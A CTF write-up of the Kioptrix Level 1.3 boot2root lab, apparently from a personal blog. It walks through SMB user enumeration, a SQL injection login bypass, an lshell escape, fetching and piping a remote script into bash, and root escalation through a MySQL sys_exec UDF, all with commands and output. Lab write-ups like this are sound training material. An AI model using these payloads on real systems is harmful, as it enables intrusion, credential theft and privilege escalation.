Name : Kioptrix Level 1.3 (Level 4) Difficulty : Beginner Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/kioptrix-level-13-4,25/ Entry : 6 / 30
Welcome to the walkthrough for Kioptrix Level 1.3 (#4), a boot2root CTF found on VulnHub. This is the sixth VM in my VulnHub Challenge! This is also the fourth VM in a family of CTF challenges on VulnHub called Kioptrix. This series is considered a great starting point for CTFs in the boot2root family. Ignoring the naming convention and the age of these challenges, they are still a lot of fun to do and still have a lot to teach.
For this particular entry in the series, there is a flag file in the
/root directory that we can read once we gain access to the
I’m using VMWare Workstation Player to host Kali and the Kioptrix Level 1.3 (#4) image, with both VMs running in a NAT network. Now this one was a bit involved compared to the other VMs I’ve done thus far since it only comes in a VMWare image. Rather than go through all the details, here are the highlights:
- I used Debian 7.x (32 bit) as the base OS to install
- I created the VM, then deleted the existing hard disk and replaced it with the Kioptrix 1.3 (#4) one downloaded from the link above.
- To change the hard disk, go to the VM -> Settings… menu and you’ll see the entry for the Hard Drive in the list of components.
- After removing the existing one, create a new one (use the Add… button at the bottom), select SCSI as the type, then select Use an existing virtual disk, click Next and browse to the virtual disk you downloaded from VulnHub.
- I ensured the network was set to NAT on both Kali and Kioptrix 1.3 (#4) and booted both of them up.
That’s it! The hardest part is finding the Hard Disk and adding a new one. I’ve encountered other VMs like this on VulnHub, so this isn’t as uncommon as you may think.
netdiscover to search for the IP address of the Kioptrix Level 1.3 (#4) VM:
root@dante:~# netdiscover -r 192.168.127.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc. 192.168.127.2 00:50:56:e9:f5:d4 1 60 VMware, Inc. 192.168.127.132 00:0c:29:ba:9d:e5 1 60 VMware, Inc. 192.168.127.254 00:50:56:f5:1f:23 1 60 VMware, Inc.
So it looks like
192.168.127.132 is our target, as the others are used by VMWare for various networking tasks (gateway, etc.).
I’ll start with a quick
nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the
root@dante:~# nmap 192.168.127.132 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-19 19:53 EDT Nmap scan report for 192.168.127.132 Host is up (0.00045s latency). Not shown: 566 closed ports, 430 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:BA:9D:E5 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.57 seconds root@dante:~# nmap -sC -sV -p22,80,139,445 192.168.127.132 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-19 19:54 EDT Nmap scan report for 192.168.127.132 Host is up (0.00062s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) MAC Address: 00:0C:29:BA:9D:E5 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 2h00m05s, deviation: 2h49m43s, median: 4s |_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.28a) | Computer name: Kioptrix4 | NetBIOS computer name: | Domain name: localdomain | FQDN: Kioptrix4.localdomain |_ System time: 2019-08-19T19:54:20-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.69 seconds
There are a few ports here that are interesting. I’m going to start with the simple enumeration first, namely SMB since we have ports 139 and 445 both open, and then move on to the website on port 80.
nmap. Out of all the tools that I use,
nmap is one of my favourites. On its own it is a pretty impressive port scanner, but combined with the Nmap Scripting Engine (NSE), it turns into a serious powerhouse. I used to use tools like
enum4linux for my SMB scanning, but not anymore. Between something getting mixed up with
smbclient on Kali sometime in 2018 (or maybe earlier, but that’s when I first encountered it), I’ve switched to using either
nmap or Metasploit for my SMB scanning. In this instance I’m going to use some
nmap scripts to check for open shares and users:
root@dante:~# nmap --script=smb-enum-* -p139,445 192.168.127.132 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-19 20:20 EDT Nmap scan report for 192.168.127.132 Host is up (0.00088s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:BA:9D:E5 (VMware) Host script results: |_smb-enum-domains: ERROR: Script execution failed (use -d to debug) |_smb-enum-groups: ERROR: Script execution failed (use -d to debug) |_smb-enum-sessions: ERROR: Script execution failed (use -d to debug) | smb-enum-shares: | account_used: guest | \\192.168.127.132\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (Kioptrix4 server (Samba, Ubuntu)) | Users: 3 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\192.168.127.132\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> |_smb-enum-users: ERROR: Script execution failed (use -d to debug) Nmap done: 1 IP address (1 host up) scanned in 420.02 seconds
Hmm. Not exactly what I was hoping for! Your mileage may vary, but for me
nmap is failing on getting me a list of domains, groups, sessions and users. I did try to debug this, but I didn’t get anywhere. Oh well, time to go back to Metasploit and try again. I’m curious about users more than anything, since I know this is a standalone machine.
root@dante:~# msfconsole ______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | | | | | User Name: [ security ] | | | | Password: [ ] | | | | | | | | [ OK ] | |______________________________________________________________________________| | | | https://metasploit.com | |______________________________________________________________________________| =[ metasploit v5.0.41-dev ] + -- --=[ 1914 exploits - 1074 auxiliary - 330 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 4 evasion ] msf5 > use auxiliary/scanner/smb/smb_enumusers msf5 auxiliary(scanner/smb/smb_enumusers) > set rhosts 192.168.127.132 rhosts => 192.168.127.132 msf5 auxiliary(scanner/smb/smb_enumusers) > run [+] 192.168.127.132:139 - KIOPTRIX4 [ nobody, robert, root, john, loneferret ] ( LockoutTries=0 PasswordMin=5 ) [*] 192.168.127.132: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/smb/smb_enumusers) >
There we go. Looks like we have a few users we can use:
We have ourselves a user list! This can definitely come in handy. Next up I’m going to try to connect to the
IPC$ share, since it seems to be pointing to a
tmp directory and it has anonymous access! Unfortunately when I try to connect, I get nothing:
root@dante:~# smbclient -N //192.168.127.132/IPC\$ Anonymous login successful Try "help" to get a list of possible commands. smb: \> dir NT_STATUS_NETWORK_ACCESS_DENIED listing \* smb: \> pwd Current directory is \\192.168.127.132\IPC$\ smb: \> q
Oh well, at least I have some usernames.
Let’s browse to the site and see what pops up:
Nice. A cute little login page. I check the source for the HTML, but nothing of interest is found. I decide to try the standard logins, like
john, etc., but no luck. I then decide to go with what I know, namely the users I found from the SMB service above, and see if the site is susceptible to any SQL injection (SQLi) attacks. Turns out it is. When I use the username
john and I set the password to
' or 1=1 -- -, I get the following:
robert with the same password gives me:
Yet when I move on to
loneferret, I hit a wall:
No problem, I have two usernames and two passwords.
Note: The password for
robert looks like it’s base64 encoded, but the one for
john is not. Might be a red herring, i.e. the password for
robert is the base64 encoded value. Wouldn’t be the first time I saw that. This is why it helps to enumerate everything that you can.
Gaining A Foothold
- We have found usernames from the SMB service.
- We have found passwords for two of those users via the web application on the server.
- We have an open SSH port.
I think we know what we need to do. I’m going to try to log in as
john via SSH and the password we discovered from the web app:
root@dante:~# ssh firstname.lastname@example.org The authenticity of host '192.168.127.132 (192.168.127.132)' can't be established. RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.127.132' (RSA) to the list of known hosts. email@example.com's password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ ? cd clear echo exit help ll lpath ls john:~$ ls john:~$ cd /var/www *** forbidden path -> "/var/www/" *** You have 0 warning(s) left, before getting kicked out. This incident has been reported. john:~$ lpath Allowed: /home/john john:~$ cd /home/robert *** forbidden path -> "/home/robert/" *** Kicked out Connection to 192.168.127.132 closed. root@dante:~#
Success? Kind of. Seems password reuse is a think for
john (also for
robert, but I’ll skip that for now), however we end up in a limited shell of some kind. As you can see, using 2 forbidden commands results in me getting disconnected. There isn’t anything in the directory we have, so we’re going to have to look into escaping a limited shell using whatever means we have. My first instinct is to look at the shell escapes listed here, but I had no luck.
Logging back in to the shell and just typing a few commands, I noticed something interesting:
root@dante:~# ssh firstname.lastname@example.org email@example.com's password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ asdf *** unknown command: asdf john:~$ which python *** unknown command: which john:~$ help cd clear echo exit help ll lpath ls john:~$ ? cd clear echo exit help ll lpath ls john:~$ lpath Allowed: /home/john john:~$ cd asdf lshell: asdf: No such file or directory john:~$
Wait, notice that error message? It’s prefixed with
lshell, which may be our limited shell! Doing some more Google searches, I found this. Looks like there’s a bypass, so I’m going to try it:
john:~$ echo os.system('/bin/bash') john@Kioptrix4:~$ whoami john john@Kioptrix4:~$ ls -al total 28 drwxr-xr-x 2 john john 4096 2012-02-04 18:39 . drwxr-xr-x 5 root root 4096 2012-02-04 18:05 .. -rw------- 1 john john 61 2012-02-04 23:31 .bash_history -rw-r--r-- 1 john john 220 2012-02-04 18:04 .bash_logout -rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc -rw-r--r-- 1 john john 157 2019-08-19 20:58 .lhistory -rw-r--r-- 1 john john 586 2012-02-04 18:04 .profile john@Kioptrix4:~$
Success! I’ve managed to escape
lshell and I’ve arrived at a nice
bash shell instead. Time for enumeration!
As I’ve done with the other machines in my challenge, I’m going to use the LinEnum.sh script to do my enumeration.
Note: I’ve updated my
LinEnum.sh script to force the thorough tests option to always run. For CTFs, I always want the extra output so by forcing it within the script I don’t have to worry about forgetting to set the flag. This makes John a happy man.
I’ll start by hosting the script on my Kali machine using Python’s
root@dante:/opt/LinEnum# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
Note: I’m using the default port here since port 80 didn’t work the first time I tried it.
Next, I’ll go to my SSH session and download the script using
wget, then port it to
bash and review the output:
john@Kioptrix4:~$ wget -qO - http://192.168.127.131:8000/LinEnum.sh | bash ######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.97 [-] Debug Info [+] Thorough tests = Enabled Scan started at: Mon Aug 19 21:08:00 EDT 2019 ### SYSTEM ############################################## [-] Kernel information: Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux [-] Kernel information (continued): Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009 [-] Specific release information: DISTRIB_ID=Ubuntu DISTRIB_RELEASE=8.04 DISTRIB_CODENAME=hardy DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS" [-] Hostname: Kioptrix4 ### USER/GROUP ########################################## [-] Current user/group info: uid=1001(john) gid=1001(john) groups=1001(john) [-] Users that have previously logged onto the system: Username Port From Latest loneferret tty1 Mon Feb 6 20:05:44 -0500 2012 john pts/0 192.168.127.131 Mon Aug 19 21:00:46 -0400 2019 [-] Who else is logged on: 21:08:00 up 17 min, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT john pts/0 192.168.127.131 21:00 2.00s 0.06s 0.01s sshd: john [priv] <snip>
There’s a lot of output for this script, but I’m going to focus on a few key sections:
<snip> ### SOFTWARE ############################################# [-] Sudo version: Sudo version 1.6.9p10 [-] MYSQL version: mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2 [+] We can connect to the local MYSQL service as 'root' and without a password! mysqladmin Ver 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486 Copyright (C) 2000-2006 MySQL AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 5.0.51a-3ubuntu5.4 Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/run/mysqld/mysqld.sock Uptime: 17 min 38 sec Threads: 1 Questions: 53 Slow queries: 0 Opens: 24 Flush tables: 1 Open tables: 18 Queries per second avg: 0.050 <snip> [-] World-writable files (excluding /proc and /sys): -rw-rw-rw- 1 root root 12896 2012-02-04 10:08 /usr/lib/lib_mysqludf_sys.so <snip>
So there’s some interesting facts about MySQL in the output of
LinEnum.sh. First off, we can connect to it using the
root user without a password! Secondly is the version, which is 5.0.51a. Finally there is a
lib_mysqludf_sys.so file on the file system. This will come in handy later, but for now we’ll just make note of it.
Since we can log into MySQL as the
root user without a password, let’s do some exploring:
john@Kioptrix4:/var/www$ mysql -uroot Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 15 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | members | | mysql | +--------------------+ 3 rows in set (0.00 sec) mysql> use members; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-------------------+ | Tables_in_members | +-------------------+ | members | +-------------------+ 1 row in set (0.00 sec) mysql> select * from members; +----+----------+-----------------------+ | id | username | password | +----+----------+-----------------------+ | 1 | john | MyNameIsJohn | | 2 | robert | ADGAdsafdfwt4gadfga== | +----+----------+-----------------------+ 2 rows in set (0.00 sec) mysql>
Great, we’ve found the two usernames and passwords that we retrieved via SQLi on the web application! This also explains why
loneferret didn’t work, or
root for that matter. While this is interesting, it doesn’t really provide any other useful information.
Escalating Privileges via MySQL
Remember that file
lib_mysqludf_sys.so we saw earlier from the output of
LinEnum.sh? Well, it’s kind of special. If you read this article, you’ll understand why. In the MySQL 5.0 releases, there’s a way to actually execute OS level commands as the user you’ve logged into on MySQL via User Defined Functions (UDF). Since we have
root access to MySQL, we should be able to run some OS commands accordingly.
I’m not going to explain the steps outlined in the article above, but here’s the output of what I did in MySQL:
mysql> use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> select * from func; +-----------------------+-----+---------------------+----------+ | name | ret | dl | type | +-----------------------+-----+---------------------+----------+ | lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+ 2 rows in set (0.00 sec) mysql> select sys_exec('usermod -a -G admin john'); +--------------------------------------+ | sys_exec('usermod -a -G admin john') | +--------------------------------------+ | NULL | +--------------------------------------+ 1 row in set (0.05 sec) mysql> exit Bye john@Kioptrix4:/var/www$ sudo su - [sudo] password for john: root@Kioptrix4:~# whoami root root@Kioptrix4:~# cd /root root@Kioptrix4:~# ls congrats.txt lshell-0.9.12 root@Kioptrix4:~#
Basically I checked for some user defined functions, found one that matched the article, and then I ran a
usermod command to modify the current user (
john) to be added to the
admin group, which I knew was used by
Note: The output of
LinEnum.sh included the contents of
/etc/group, which showed that
loneferret was a member of the
admin group, so I figured it was a safe bet.
Once I added
john to the appropriate group, it was just a matter of using
sudo to escalate privileges.
Retrieve The Flag
All that’s left is to read the
root@Kioptrix4:~# cat congrats.txt Congratulations! You've got root. There is more then one way to get root on this system. Try and find them. I've only tested two (2) methods, but it doesn't mean there aren't more. As always there's an easy way, and a not so easy way to pop this box. Look for other methods to get root privileges other than running an exploit. It took a while to make this. For one it's not as easy as it may look, and also work and family life are my priorities. Hobbies are low on my list. Really hope you enjoyed this one. If you haven't already, check out the other VMs available on: www.kioptrix.com Thanks for playing, loneferret root@Kioptrix4:~#